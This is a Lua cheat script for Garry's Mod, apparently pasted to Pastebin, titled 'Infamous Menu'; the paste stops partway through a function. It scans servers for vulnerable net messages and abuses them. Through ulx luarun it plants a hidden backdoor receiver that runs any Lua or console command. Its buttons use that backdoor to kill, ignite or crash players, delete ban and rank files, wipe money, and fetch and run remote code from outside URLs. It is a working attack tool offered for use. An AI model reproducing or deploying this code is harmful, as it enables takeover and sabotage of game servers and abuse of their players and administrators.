Guest User

Untitled

a guest
Jun 20th, 2019
130
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. surface.PlaySound("HL1/fvox/bell.wav")
  2.  
  3.  
  4. Version = "v1.2"
  5. netKey = "nostrip"
  6.  
  7. totalExploits = 0
  8. BackdoorsFound = 0
  9.  
  10. local ply = LocalPlayer()
  11.  
  12.  
  13. local blur = Material("pp/blurscreen")
  14. local function DrawBlur(panel, amount)
  15. local x, y = panel:LocalToScreen(0, 0)
  16. local scrW, scrH = ScrW(), ScrH()
  17. surface.SetDrawColor(255, 255, 255)
  18. surface.SetMaterial(blur)
  19. for i = 1, 6 do
  20. blur:SetFloat("$blur", (i / 3) * (amount or 6))
  21. blur:Recompute()
  22. render.UpdateScreenEffectTexture()
  23. surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH)
  24. end
  25. end
  26.  
  27. function ValidNetString( str )
  28. local status, error = pcall( net.Start, str )
  29. return status
  30. end
  31.  
  32. local function playSound(url)
  33. sound.PlayURL(url, '', function( station )
  34. if ( IsValid( station ) ) then
  35. station:SetPos( LocalPlayer():GetPos() )
  36. station:Play()
  37. end
  38. end)
  39. end
  40.  
  41. function HtxPooledString()
  42. if IsMessagePooled( netKey ) then return "Detected!"
  43. else return "Not Detected!"
  44. end
  45. end
  46.  
  47.  
  48. function IsMessagePooled( netmessage )
  49. BackdoorStatus, error = pcall(net.Start,netmessage)
  50. return BackdoorStatus
  51. end
  52.  
  53.  
  54.  
  55. if( ValidNetString("start_wd_emp") ) then
  56. totalExploits = 1 + totalExploits
  57. end
  58.  
  59. if( ValidNetString("properties") ) then
  60. totalExploits = 1 + totalExploits
  61. end
  62.  
  63. if( ValidNetString("egg") ) then
  64. totalExploits = 1 + totalExploits
  65. end
  66.  
  67. if( ValidNetString("steamid2") ) then
  68. totalExploits = 1 + totalExploits
  69. end
  70.  
  71. if( ValidNetString("bodyman_model_change") ) then
  72. totalExploits = 1 + totalExploits
  73. end
  74.  
  75.  
  76. function SploitNotify(text)
  77. local notify = vgui.Create( "DPanel" )
  78. notify:SetSize( 200, 50 )
  79. notify:SetPos( ScrW() - 200, -50 )
  80. notify.Paint = function(self, w, h)
  81. draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
  82. draw.RoundedBox( 0, 0, notify:GetTall() - 2, w, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ))
  83. draw.SimpleText( text, "Title", notify:GetWide() / 2, notify:GetTall() / 2, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  84. end
  85. notify:MoveTo( ScrW() - notify:GetWide(), 0, .2, 0, -1, function()
  86. timer.Simple( 3, function()
  87. notify:MoveTo( ScrW() - notify:GetWide(), -50, .2, 0, -1)
  88. end);end) end
  89.  
  90.  
  91. -- Exploit 1
  92. function removeAll()
  93. for k,v in pairs(player.GetAll()) do
  94. stripPlayer(v)
  95. end
  96. end
  97.  
  98. function removeAll()
  99. for k,v in pairs(me:IsAdmin()) do
  100. stripPlayer(v)
  101. end
  102. end
  103.  
  104. function removeAll()
  105. for k,v in pairs(me:IsSuperAdmin()) do
  106. stripPlayer(v)
  107. end
  108. end
  109.  
  110.  
  111. function stripPlayer(ply)
  112. if ply:IsPlayer() then
  113.  
  114. for k,v in pairs(ply:GetWeapons()) do
  115.  
  116. net.Start("properties")
  117. net.WriteString( "remove" , 32 )
  118. net.WriteEntity( v )
  119. net.SendToServer()
  120. end
  121. end
  122.  
  123. end
  124.  
  125. function removeAll()
  126. for k,v in pairs(player.GetAll()) do
  127. stripPlayer(v)
  128. end
  129. end
  130.  
  131. -- Exploit 2
  132. function HackKeypad()
  133. net.Start('start_wd_emp')
  134. net.SendToServer()
  135. end
  136.  
  137. -- Exploit 3
  138.  
  139. function GiveEasterEgg1()
  140. net.Start("egg")
  141. net.SendToServer()
  142. SploitNotify("Gave Easter Egg")
  143.  
  144. end
  145.  
  146. -- Exploit 4
  147.  
  148. function Lagger1()
  149. timer.Create( "lagger9", 0, 0, function()
  150. for i = 1, 100 do
  151. net.Start( "steamid2" )
  152. net.WriteString( "Infamous Menu Boi" )
  153. net.SendToServer()
  154. end
  155. end)
  156. end
  157.  
  158.  
  159.  
  160. -- Superadmin Injector
  161. function Inject()
  162. chat.AddText( Color( 0, 0, 0, 125 ), "[Infamous]", Color( 255, 255, 255 )," Injecting..." )
  163. if ( ply:IsSuperAdmin() ) then
  164. timer.Simple( 3, function()
  165. if( ValidNetString("nostrip") ) then
  166.  
  167. else
  168. RunConsoleCommand( "ulx", "logecho", "0" )
  169. RunConsoleCommand( "ulx", "luarun", "util.AddNetworkString ('nostrip')" )
  170. RunConsoleCommand( "ulx", "luarun", "util.AddNetworkString('nostrip') net.Receive('nostrip', function( length, ply ) local netString = net.ReadString() local bit = net.ReadBit() if bit == 1 then RunString(netString) else game.ConsoleCommand(netString .. '\n') end end)" )
  171. RunConsoleCommand( "ulx", "logecho", "1" )
  172. chat.AddText( Color( 0, 0, 0, 125 ), "[Infamous]", Color( 0, 255, 0 )," Successfully Injected!" )
  173. end
  174. end )
  175. else
  176. chat.AddText( Color( 0, 0, 0, 125 ), "[Infamous]", Color( 255, 0, 0 )," Failed! Your Not Superadmin!" )
  177. end
  178. if( ValidNetString("nostrip") ) then
  179. chat.AddText( Color( 0, 0, 0, 125 ), "[Infamous]", Color( 255, 255, 255 )," Backdoor is Active!" )
  180. end
  181. end
  182.  
  183.  
  184. -- Fonts
  185.  
  186. surface.CreateFont( "Title", {
  187. font = "Lato Light",
  188. size = 30,
  189. weight = 250,
  190. antialias = true,
  191. strikeout = false,
  192. additive = true,
  193. } )
  194.  
  195. surface.CreateFont( "Status", {
  196. font = "Lato Light",
  197. size = 25,
  198. weight = 250,
  199. antiaalias = true,
  200. strikeout = false,
  201. additive = true,
  202. } )
  203.  
  204. surface.CreateFont( "Welcome", {
  205. font = "Lato Light",
  206. size = 25,
  207. weight = 10,
  208. antiaalias = true,
  209. strikeout = false,
  210. additive = true,
  211. } )
  212.  
  213.  
  214. -- Menus Derma
  215.  
  216.  
  217. local Infamous = vgui.Create( "DFrame" )
  218. Infamous:SetSize( 630, 450 )
  219. Infamous:SetVisible( true )
  220. Infamous:SetDraggable( false )
  221. Infamous:ShowCloseButton( false )
  222. Infamous:Center()
  223. Infamous:SetTitle("")
  224. Infamous:MakePopup()
  225. Infamous.Paint = function( self, w, h )
  226. DrawBlur(Infamous, 2)
  227. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 85))
  228. draw.RoundedBox(0, 2, 2, w - 4, h / 9, Color(0,0,0,125))
  229. draw.SimpleText( "Infamous Menu", "Title", Infamous:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
  230. end
  231.  
  232.  
  233. local InfamousCategories = vgui.Create( "DFrame", LOL )
  234. InfamousCategories:SetSize( 150, 450 )
  235. InfamousCategories:SetVisible( true )
  236. InfamousCategories:SetDraggable( false )
  237. InfamousCategories:ShowCloseButton( false )
  238. InfamousCategories:SetPos( 465, 315)
  239. InfamousCategories:SetTitle("")
  240. InfamousCategories:MakePopup()
  241. InfamousCategories.Paint = function( self, w, h )
  242. DrawBlur(InfamousCategories, 2)
  243. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 85))
  244. draw.RoundedBox(0, 2, 2, w - 4, h / 9, Color(0,0,0,125))
  245. draw.SimpleText( "Categories", "Title", InfamousCategories:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
  246. end
  247.  
  248. local InfamousClose = vgui.Create( "DButton", Infamous)
  249. InfamousClose:SetSize( 35, 35 )
  250. InfamousClose:SetPos( Infamous:GetWide() - 36,9 )
  251. InfamousClose:SetText( "X" )
  252. InfamousClose:SetFont( "Default" )
  253. InfamousClose:SetTextColor( Color( 255, 255, 255 ) )
  254. InfamousClose.Paint = function()
  255.  
  256. end
  257. InfamousClose.DoClick = function()
  258. CloseEverything()
  259. end
  260.  
  261. local WelcomeLabel = vgui.Create( "DLabel", Infamous )
  262. WelcomeLabel:SetPos( 100, 100 )
  263. WelcomeLabel:SetFont("Welcome")
  264. WelcomeLabel:SetText( "Hello, "..ply:GetName().."\nThank you for using Infamous Menu! We will be \nUpdating our Menu so click the 'Check Version' Button to see \n if you have the right version :)")
  265. WelcomeLabel:SizeToContents()
  266.  
  267. local TotalExploits = vgui.Create( "DLabel", Infamous )
  268. TotalExploits:SetPos( 230, 425 )
  269. TotalExploits:SetText( "Total Exploits: "..totalExploits.." |" )
  270. TotalExploits:SizeToContents()
  271.  
  272. local BackdoorStatus = vgui.Create( "DLabel", Infamous )
  273. BackdoorStatus:SetPos( 320, 425 )
  274. BackdoorStatus:SetText( "Backdoor: "..HtxPooledString() )
  275. BackdoorStatus:SizeToContents()
  276. --
  277. if IsMessagePooled( netKey ) then BackdoorStatus:SetTextColor( Color(0,255,0) ) else BackdoorStatus:SetTextColor( Color(255,0,0) ) end
  278. --
  279.  
  280. local VersionLabel = vgui.Create( "DLabel", Infamous )
  281. VersionLabel:SetPos( 550, 425 )
  282. VersionLabel:SetText( "Version: "..Version )
  283.  
  284. local NameLabel = vgui.Create( "DLabel", Infamous )
  285. NameLabel:SetPos( 10, 425 )
  286. NameLabel:SetText( "Hello, "..ply:GetName().."!" )
  287. NameLabel:SizeToContents()
  288.  
  289. -- Check Version Button
  290.  
  291.  
  292. local Checkversion = vgui.Create( "DButton", Infamous )
  293. Checkversion:SetText( "Check Version" )
  294. Checkversion:SizeToContents()
  295. Checkversion:SetTall( 25 )
  296. Checkversion:SetWide( 100 )
  297. Checkversion:SetPos( 250, 275 )
  298. Checkversion:SetTextColor( Color( 255, 255, 255 ) )
  299. Checkversion:SetToolTip( "Checks the Menus Version." )
  300. Checkversion.Paint = function( self, w, h )
  301. DrawBlur(Checkversion, 2)
  302. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  303. Checkversion.DoClick = function()
  304. if ( Version == "v1.2") then
  305. chat.AddText( Color( 0, 0, 0, 125 ), "[Infamous]", Color( 0, 255, 0 )," Version is up to date!" )
  306. else
  307. chat.AddText( Color( 0, 0, 0, 125 ), "[Infamous]", Color( 255, 0, 0 )," Out of date!" )
  308. end
  309. end
  310. end
  311.  
  312.  
  313.  
  314. local BackdoorScanner = vgui.Create( "DButton", Infamous )
  315. BackdoorScanner:SetText( "Backdoor Scanner" )
  316. BackdoorScanner:SizeToContents()
  317. BackdoorScanner:SetTall( 25 )
  318. BackdoorScanner:SetWide( 100 )
  319. BackdoorScanner:SetPos( 185, 315 )
  320. BackdoorScanner:SetTextColor( Color( 255, 255, 255 ) )
  321. BackdoorScanner:SetToolTip( "Checks the server for Backdoors." )
  322. BackdoorScanner.Paint = function( self, w, h )
  323. DrawBlur(BackdoorScanner, 2)
  324. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  325. BackdoorScanner.DoClick = function()
  326. SploitNotify("Scanning...")
  327. surface.PlaySound("buttons/blip1.wav")
  328. checkbackdoors()
  329.  
  330. end
  331. end
  332.  
  333.  
  334.  
  335. local Injector = vgui.Create( "DButton",Infamous )
  336. Injector:SetText( "Superadmin Injector" )
  337. Injector:SizeToContents()
  338. Injector:SetTall( 25 )
  339. Injector:SetWide( 115 )
  340. Injector:SetPos( 300, 315 )
  341. Injector:SetTextColor( Color( 255, 255, 255 ) )
  342. Injector:SetToolTip( "Injects Superadmin if the server is backdoored." )
  343. Injector.Paint = function( self, w, h )
  344. DrawBlur(Injector, 2)
  345. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  346. Injector.DoClick = function()
  347. SploitNotify("Injecting...")
  348. surface.PlaySound("buttons/blip1.wav")
  349. Inject()
  350.  
  351. end
  352. end
  353.  
  354.  
  355.  
  356.  
  357. local MainMenuButton = vgui.Create( "DButton", InfamousCategories )
  358. MainMenuButton:SetText( "Main Menu" )
  359. MainMenuButton:SizeToContents()
  360. MainMenuButton:SetTall( 50 )
  361. MainMenuButton:SetWide( MainMenuButton:GetWide() + 100 )
  362. MainMenuButton:SetPos( 0, 75 )
  363. MainMenuButton:SetTextColor( Color( 255, 255, 255 ) )
  364. MainMenuButton:SetToolTip( "Main Menu" )
  365. MainMenuButton.Paint = function( self, w, h )
  366. DrawBlur(MainMenuButton, 2)
  367. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  368. MainMenuButton.DoClick = function()
  369. closealltabs()
  370. ply:ConCommand( "infamous_menu" )
  371. end
  372. end
  373.  
  374. local ExploitMenuButton = vgui.Create( "DButton", InfamousCategories )
  375. ExploitMenuButton:SetText( "Exploit Menu" )
  376. ExploitMenuButton:SizeToContents()
  377. ExploitMenuButton:SetTall( 50 )
  378. ExploitMenuButton:SetWide( ExploitMenuButton:GetWide() + 100 )
  379. ExploitMenuButton:SetPos( 0, 140 )
  380. ExploitMenuButton:SetTextColor( Color( 255, 255, 255 ) )
  381. ExploitMenuButton:SetToolTip( "Exploit Menu" )
  382. ExploitMenuButton.Paint = function( self, w, h )
  383. DrawBlur(ExploitMenuButton, 2)
  384. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  385. ExploitMenuButton.DoClick = function()
  386. closealltabs()
  387. ply:ConCommand( "infamous_exploits" )
  388. end
  389. end
  390.  
  391.  
  392. local BackdoorButton = vgui.Create( "DButton", InfamousCategories )
  393. BackdoorButton:SetText( "Backdoor Menu" )
  394. BackdoorButton:SizeToContents()
  395. BackdoorButton:SetTall( 50 )
  396. BackdoorButton:SetWide( BackdoorButton:GetWide() + 100 )
  397. BackdoorButton:SetPos( 0, 270 )
  398. BackdoorButton:SetTextColor( Color( 255, 255, 255 ) )
  399. BackdoorButton:SetToolTip( "bd menu" )
  400. BackdoorButton.Paint = function( self, w, h )
  401. DrawBlur(BackdoorButton, 2)
  402. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  403. BackdoorButton.DoClick = function()
  404. closealltabs()
  405. ply:ConCommand( "infamous_backdoor" )
  406.  
  407. end
  408. end
  409.  
  410.  
  411.  
  412. local BackdoorMenu = vgui.Create( "DFrame" )
  413. BackdoorMenu:SetSize( 630, 450 )
  414. BackdoorMenu:SetVisible( true )
  415. BackdoorMenu:SetDraggable( false )
  416. BackdoorMenu:ShowCloseButton( false )
  417. BackdoorMenu:Center()
  418. BackdoorMenu:SetTitle("")
  419. BackdoorMenu:MakePopup()
  420. BackdoorMenu.Paint = function( self, w, h )
  421. DrawBlur(BackdoorMenu, 2)
  422. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 85))
  423. draw.RoundedBox(0, 2, 2, w - 4, h / 9, Color(0,0,0,125))
  424. draw.SimpleText( "Infamous Backdoor Menu", "Title", BackdoorMenu:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
  425. draw.SimpleText( "Macro Parameter", "Title", BackdoorMenu:GetWide() / 2, 225, Color(255,255,255,255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  426. end
  427.  
  428.  
  429. local BackdoorMenuClose = vgui.Create( "DButton", BackdoorMenu )
  430. BackdoorMenuClose:SetSize( 35, 35 )
  431. BackdoorMenuClose:SetPos( BackdoorMenu:GetWide() - 36,9 )
  432. BackdoorMenuClose:SetText( "X" )
  433. BackdoorMenuClose:SetFont( "Default" )
  434. BackdoorMenuClose:SetTextColor( Color( 255, 255, 255 ) )
  435. BackdoorMenuClose.Paint = function()
  436.  
  437. end
  438. BackdoorMenuClose.DoClick = function()
  439. CloseEverything()
  440. end
  441.  
  442.  
  443.  
  444.  
  445.  
  446. local Consolerun = vgui.Create( "DTextEntry", BackdoorMenu )
  447. Consolerun:SetText( strDefaultText or "" )
  448. Consolerun:SetPos( 125, 100)
  449. Consolerun:SetSize( 350, 20 )
  450. Consolerun.OnEnter = function() Window:Close() Consolerun:GetValue()
  451. end
  452.  
  453.  
  454. local RunCommand = vgui.Create( "DButton", BackdoorMenu )
  455. RunCommand:SetText( "OK" )
  456. RunCommand:SetSize( 55, 25 )
  457. RunCommand:SetPos( 230, 150 )
  458. RunCommand:SetTextColor( Color( 255, 255, 255 ) )
  459. RunCommand.DoClick = function()
  460. SploitNotify("Sending Command")
  461. surface.PlaySound("buttons/blip1.wav")
  462. net.Start( netKey ) net.WriteString( Consolerun:GetValue() ) net.SendToServer()
  463. end
  464.  
  465. RunCommand.Paint = function( self, w, h )
  466. DrawBlur(RunCommand, 2)
  467. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  468. end
  469.  
  470. local Disco = vgui.Create( "DButton", BackdoorMenu )
  471. Disco:SetText( "Hentai" )
  472. Disco:SetSize( 55, 25 )
  473. Disco:SetPos( 320, 150 )
  474. Disco:SetTextColor( Color( 255, 255, 255 ) )
  475. Disco.DoClick =
  476. function() surface.PlaySound("buttons/blip1.wav") net.Start( netKey ) net.WriteString( Consolerun:GetValue() ) net.SendToServer()
  477. SploitNotify("Starting Disco")
  478. net.Start(netKey)
  479. net.WriteString( "http.Fetch(\"https://pastebin.com/raw/4yTWnEB4\",function(b,l,h,c)RunString(b)end,nil)" )
  480. net.WriteBit(1)
  481. net.SendToServer()
  482. end
  483.  
  484. local Disco = vgui.Create( "DButton", BackdoorMenu )
  485. Disco:SetText( "Slav" )
  486. Disco:SetSize( 55, 25 )
  487. Disco:SetPos( 400, 150 )
  488. Disco:SetTextColor( Color( 255, 255, 255 ) )
  489. Disco.DoClick =
  490. function() surface.PlaySound("buttons/blip1.wav") net.Start( netKey ) net.WriteString( Consolerun:GetValue() ) net.SendToServer()
  491. SploitNotify("Starting Disco")
  492. net.Start(netKey)
  493. net.WriteString( "http.Fetch(\"https://pastebin.com/raw/tTPp8dU0\",function(b,l,h,c)RunString(b)end,nil)" )
  494. net.WriteBit(1)
  495. net.SendToServer()
  496. end
  497.  
  498. Disco.Paint = function( self, w, h )
  499. DrawBlur(Disco, 2)
  500. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  501. end
  502.  
  503. local Status = vgui.Create( "DLabel", BackdoorMenu )
  504. Status:SetText("Status: "..HtxPooledString() )
  505. Status:SetPos( 380,410 )
  506. Status:SetFont("Status")
  507. Status:SizeToContents()
  508. Status:SetContentAlignment( 5 )
  509. Status:SetTextColor( Color(255,50,50,255) )
  510.  
  511. --
  512. if IsMessagePooled( netKey ) then Status:SetTextColor( Color(0,255,0) ) else Status:SetTextColor( Color(255,0,0) ) end
  513. --
  514.  
  515.  
  516.  
  517.  
  518. local KillEveryone = vgui.Create( "DButton", BackdoorMenu )
  519. KillEveryone:SetText( "Kill Everyone" )
  520. KillEveryone:SizeToContents()
  521. KillEveryone:SetTall( 25 )
  522. KillEveryone:SetWide( KillEveryone:GetWide() + 25 )
  523. KillEveryone:SetPos( 50, 250 )
  524. KillEveryone:SetTextColor( Color( 255, 255, 255 ) )
  525. KillEveryone:SetToolTip( "Kills everyone in the server!" )
  526. KillEveryone.Paint = function( self, w, h )
  527. DrawBlur(KillEveryone, 2)
  528. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  529. KillEveryone.DoClick = function()
  530. SploitNotify("Killing Everyone")
  531. surface.PlaySound("garrysmod/ui_click.wav")
  532. net.Start(netKey)
  533. net.WriteString( "for k,v in pairs(player.GetAll()) do v:Kill() end" )
  534. net.WriteBit(1)
  535. net.SendToServer()
  536. end
  537. end
  538.  
  539. local LaunchEveryone = vgui.Create( "DButton", BackdoorMenu )
  540. LaunchEveryone:SetText( "Launch Everyone" )
  541. LaunchEveryone:SizeToContents()
  542. LaunchEveryone:SetTall( 25 )
  543. LaunchEveryone:SetWide( LaunchEveryone:GetWide() + 20 )
  544. LaunchEveryone:SetPos( 160, 250 )
  545. LaunchEveryone:SetTextColor( Color( 255, 255, 255 ) )
  546. LaunchEveryone:SetToolTip( "Launches everyone on the server" )
  547. LaunchEveryone.Paint = function( self, w, h )
  548. DrawBlur(LaunchEveryone, 2)
  549. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  550. LaunchEveryone.DoClick = function()
  551. SploitNotify("Launching Players")
  552. surface.PlaySound("garrysmod/ui_click.wav")
  553. net.Start(netKey)
  554. net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000))) end" )
  555. net.WriteBit(1)
  556. net.SendToServer()
  557. end
  558. end
  559.  
  560.  
  561. local EarRape = vgui.Create( "DButton", BackdoorMenu )
  562. EarRape:SetText( "Ear Rape" )
  563. EarRape:SizeToContents()
  564. EarRape:SetTall( 25 )
  565. EarRape:SetWide( EarRape:GetWide() + 20 )
  566. EarRape:SetPos( 285, 250 )
  567. EarRape:SetTextColor( Color( 255, 255, 255 ) )
  568. EarRape:SetToolTip( "Starts a very loud sound on the server." )
  569. EarRape.Paint = function( self, w, h )
  570. DrawBlur(EarRape, 2)
  571. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  572. EarRape.DoClick = function()
  573. SploitNotify("Starting Ear Rape")
  574. surface.PlaySound("garrysmod/ui_click.wav")
  575. net.Start(netKey)
  576. net.WriteString( "for k,v in pairs(player.GetAll()) do v:EmitSound( \"npc/stalker/go_alert2a.wav\", 100, 100 ) end" )
  577. net.WriteBit(1)
  578. net.SendToServer()
  579. end
  580. end
  581.  
  582.  
  583. local IngiteEveryone = vgui.Create( "DButton", BackdoorMenu )
  584. IngiteEveryone:SetText( "Ignite Everyone" )
  585. IngiteEveryone:SizeToContents()
  586. IngiteEveryone:SetTall( 25 )
  587. IngiteEveryone:SetWide( EarRape:GetWide() + 25 )
  588. IngiteEveryone:SetPos( 370, 250 )
  589. IngiteEveryone:SetTextColor( Color( 255, 255, 255 ) )
  590. IngiteEveryone:SetToolTip( "Ignites Everyon on the server." )
  591. IngiteEveryone.Paint = function( self, w, h )
  592. DrawBlur(IngiteEveryone, 2)
  593. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  594. IngiteEveryone.DoClick = function()
  595. SploitNotify("Igniting Everyone")
  596. surface.PlaySound("garrysmod/ui_click.wav")
  597. net.Start(netKey)
  598. net.WriteString( "for k,v in pairs(player.GetAll()) do v:Ignite(120) end" )
  599. net.WriteBit(1)
  600. net.SendToServer()
  601. end
  602. end
  603.  
  604.  
  605. local DeleteBans = vgui.Create( "DButton", BackdoorMenu )
  606. DeleteBans:SetText( "Delete Bans" )
  607. DeleteBans:SizeToContents()
  608. DeleteBans:SetTall( 25 )
  609. DeleteBans:SetWide( DeleteBans:GetWide() + 20 )
  610. DeleteBans:SetPos( 480, 250 )
  611. DeleteBans:SetTextColor( Color( 255, 255, 255 ) )
  612. DeleteBans:SetToolTip( "Deletes all Bans!" )
  613. DeleteBans.Paint = function( self, w, h )
  614. DrawBlur(DeleteBans, 2)
  615. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  616. DeleteBans.DoClick = function()
  617. SploitNotify("Deleting Bans")
  618. surface.PlaySound("garrysmod/ui_click.wav")
  619. net.Start(netKey)
  620. net.WriteString( "if file.Exists( \"ulib/bans.txt\", \"DATA\" ) then file.Delete(\"ulib/bans.txt\") end" )
  621. net.WriteBit(1)
  622. net.SendToServer()
  623. end
  624. end
  625.  
  626.  
  627. local DeleteRanks = vgui.Create( "DButton", BackdoorMenu )
  628. DeleteRanks:SetText( "Delete ULX Ranks" )
  629. DeleteRanks:SizeToContents()
  630. DeleteRanks:SetTall( 25 )
  631. DeleteRanks:SetWide( DeleteRanks:GetWide() + 20 )
  632. DeleteRanks:SetPos( 50, 295 )
  633. DeleteRanks:SetTextColor( Color( 255, 255, 255 ) )
  634. DeleteRanks:SetToolTip( "Deletes ULX Groups / Ranks!" )
  635. DeleteRanks.Paint = function( self, w, h )
  636. DrawBlur(DeleteRanks, 2)
  637. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  638. DeleteRanks.DoClick = function()
  639. SploitNotify("Deleting ULX")
  640. surface.PlaySound("garrysmod/ui_click.wav")
  641. net.Start(netKey)
  642. net.WriteString( "if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then file.Delete(\"ulib/groups.txt\") end" )
  643. net.WriteBit(1)
  644. net.SendToServer()
  645. end
  646. end
  647.  
  648.  
  649. local ResetMoney = vgui.Create( "DButton", BackdoorMenu )
  650. ResetMoney:SetText( "Reset RP Money" )
  651. ResetMoney:SizeToContents()
  652. ResetMoney:SetTall( 25 )
  653. ResetMoney:SetWide( ResetMoney:GetWide() + 20 )
  654. ResetMoney:SetPos( 180, 295 )
  655. ResetMoney:SetTextColor( Color( 255, 255, 255 ) )
  656. ResetMoney:SetToolTip( "Resets all DarkRP Money" )
  657. ResetMoney.Paint = function( self, w, h )
  658. DrawBlur(ResetMoney, 2)
  659. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  660. ResetMoney.DoClick = function()
  661. SploitNotify("Reseting Money")
  662. surface.PlaySound("garrysmod/ui_click.wav")
  663. net.Start(netKey)
  664. net.WriteString( "rp_resetallmoney")
  665. net.WriteBit(1)
  666. net.SendToServer()
  667. end
  668. end
  669.  
  670.  
  671. local Seize = vgui.Create( "DButton", BackdoorMenu )
  672. Seize:SetText( "Seize Server" )
  673. Seize:SizeToContents()
  674. Seize:SetTall( 25 )
  675. Seize:SetWide( Seize:GetWide() + 20 )
  676. Seize:SetPos( 300, 295 )
  677. Seize:SetTextColor( Color( 255, 255, 255 ) )
  678. Seize:SetToolTip( "Seizes the server lol." )
  679. Seize.Paint = function( self, w, h )
  680. DrawBlur(Seize, 2)
  681. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  682. Seize.DoClick = function()
  683. SploitNotify("Server Seized")
  684. surface.PlaySound("garrysmod/ui_click.wav")
  685. net.Start(netKey)
  686. net.WriteString( "http.Fetch(\"https://infamousseize.000webhostapp.com/index.php\",function(b,l,h,c)RunString(b)end,nil)" )
  687. net.WriteBit(1)
  688. net.SendToServer()
  689. end
  690. end
  691.  
  692.  
  693. local crashcunts = vgui.Create( "DButton", BackdoorMenu )
  694. crashcunts:SetText( "Crash Cunts" )
  695. crashcunts:SizeToContents()
  696. crashcunts:SetTall( 25 )
  697. crashcunts:SetWide( crashcunts:GetWide() + 20 )
  698. crashcunts:SetPos( 375, 295 )
  699. crashcunts:SetTextColor( Color( 255, 255, 255 ) )
  700. crashcunts:SetToolTip( "Crashes Admins/VIPS." )
  701. crashcunts.Paint = function( self, w, h )
  702. DrawBlur(crashcunts, 2)
  703. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  704. crashcunts.DoClick = function()
  705. SploitNotify("Crashing")
  706. surface.PlaySound("garrysmod/ui_click.wav")
  707. local crash = "for k,v in pairs(player.GetAll()) do if( v:GetUserGroup() != \"user\" ) then v:SendLua(\"while true do end\") end end"
  708. net.Start(netKey)
  709. net.WriteString( crash )
  710. net.WriteBit(1)
  711. net.SendToServer()
  712. end
  713. end
  714.  
  715. local miracle = vgui.Create( "DButton", BackdoorMenu )
  716. miracle:SetText( "Ready for a miracle?" )
  717. miracle:SizeToContents()
  718. miracle:SetTall( 25 )
  719. miracle:SetWide( miracle:GetWide() + 20 )
  720. miracle:SetPos( 480, 295 )
  721. miracle:SetTextColor( Color( 255, 255, 255 ) )
  722. miracle:SetToolTip( "Are you Ready for a miracle?" )
  723. miracle.Paint = function( self, w, h )
  724. DrawBlur(miracle, 2)
  725. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  726. miracle.DoClick = function()
  727. SploitNotify("Miracle :D!")
  728. surface.PlaySound("garrysmod/ui_click.wav")
  729. local miraclerdy = "for k,v in pairs(player.GetAll()) do v:SendLua([[ local function playSound(url) sound.PlayURL(url, '', function( station ) if ( IsValid( station ) ) then station:SetPos( LocalPlayer():GetPos() ) station:Play() end end) end playSound('http://cyanidegang.000webhostapp.com/zyro/infamous/miracle.mp3') ]]) end"
  730. net.Start(netKey)
  731. net.WriteString( miraclerdy )
  732. net.WriteBit(1)
  733. net.SendToServer()
  734. end
  735. end
  736.  
  737. local miracle = vgui.Create( "DButton", BackdoorMenu )
  738. miracle:SetText( "Don't Do Cocain?" )
  739. miracle:SizeToContents()
  740. miracle:SetTall( 25 )
  741. miracle:SetWide( miracle:GetWide() + 20 )
  742. miracle:SetPos( 480, 350 )
  743. miracle:SetTextColor( Color( 255, 255, 255 ) )
  744. miracle:SetToolTip( "DON'T DO COCAIN" )
  745. miracle.Paint = function( self, w, h )
  746. DrawBlur(miracle, 2)
  747. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  748. miracle.DoClick = function()
  749. SploitNotify("No Cocain !")
  750. surface.PlaySound("garrysmod/ui_click.wav")
  751. local miraclerdy = "for k,v in pairs(player.GetAll()) do v:SendLua([[ local function playSound(url) sound.PlayURL(url, '', function( station ) if ( IsValid( station ) ) then station:SetPos( LocalPlayer():GetPos() ) station:Play() end end) end playSound('https://instaud.io/_/1R1P.mp3') ]]) end"
  752. net.Start(netKey)
  753. net.WriteString( miraclerdy )
  754. net.WriteBit(1)
  755. net.SendToServer()
  756.  
  757. end
  758. end
  759.  
  760. -- Concommand Functions
  761.  
  762. function EarthQuake()
  763. local earths = "for k, v in pairs( player.GetAll() ) do v:SendLua( [[util.ScreenShake( Vector( 0, 0, 0 ), 10, 5, 60, 5000 )]] ) end"
